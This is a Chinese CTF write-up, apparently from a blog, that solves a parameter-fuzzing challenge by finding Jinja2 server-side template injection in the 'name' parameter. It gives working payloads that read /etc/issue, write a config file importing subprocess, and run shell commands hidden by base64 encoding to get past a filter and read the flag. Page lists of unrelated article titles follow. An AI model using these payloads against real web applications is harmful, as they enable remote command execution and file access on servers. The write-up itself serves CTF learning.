点开只有三个单词plz fuzz parameter

大概意思就是让我们疯狂尝试参数。。。

我们通过url尝试传入参数

?user=123

?name=123

?username=123

?id=123

但参数为name时返回正确值

尝试在这里注入

。。。。。。

失败

但是这里会一直回显name后面的值

通过dalao们的无限测试后发现这里是python模板注入

再根据别人写的python模板注入的文章来跟着一步步注入

读版本文件:?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}

向SSTI漏洞注入:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}   (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。)

向config对象添加一个新项:?name={{ config.from_pyfile('/tmp/owned.cfg') }}

通过向SSTI漏洞注入来检测是否成功:?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}

成功返回

小括号单引号中的内容即为我们可以使用cmd执行的代码

将其改为ls

可能被拦截了

用base64先加密再解密的方法进行注入(bHMK为ls的base64加密)

?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

没有返回,尝试ls -al

?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

查看源码获得排列好的文件名

再查看var/www/html下的文件名

?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

查看fl4g文件(cat var/www/html/fl4g)

?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

拿到flag

最新文章

  1. Linq to sql 有什么办法可以实现消除列重复?
  2. Model & ModelMap & ModelAndView 比较ModelFactory简介
  3. jQuery同步Ajax带来的UI线程阻塞问题及解决办法
  4. js监听浏览器关闭事件
  5. 安装TokuDB引擎
  6. canvas绘制百分比圆环进度条
  7. CentOS 5.8 x64 安装TomCat
  8. LinkCode 下一个排列、上一个排列
  9. [BZOJ4825][HNOI2017]单旋spaly
  10. 使用 notify.js 桌面提醒
  11. HTTP劫持和DNS劫持
  12. python的oop概述
  13. 正则表达式中的re.S
  14. hiero.ui获取实例名的方法
  15. SQLite3问题
  16. 滴水穿石-04Eclipse中常用的快捷键
  17. Linux - history命令的常用方法
  18. 【TensorFlow】tf.nn.max_pool实现池化操作
  19. 剑指offer66:机器人的活动范围
  20. IDEA中java文件的左下角有个像乐符一样的J符号

热门文章

  1. Springboot配置文件参数使用docker-compose实现动态配置
  2. 货币转换I
  3. IDEA中直接将 SpringBoot项目打包成 Docker镜像时 pom.xml的配置
  4. 几个Caller-特性的妙用
  5. window安装MySQL 5.5教程
  6. Java登录专题-----创建用户(一)
  7. 基本的Dos命令 在控制台如何进入某一个文件或者进入不同的盘符
  8. 已知数据库中存在表tb_book2,通过在图书信息界面填写书本的基本信息,然后提交后写入数据库中的表格中。需要对提交的信息进行修改,信息填入不能为空,为空则则有提示。
  9. java实现双向链表的增删改查
  10. etcd实现分布式锁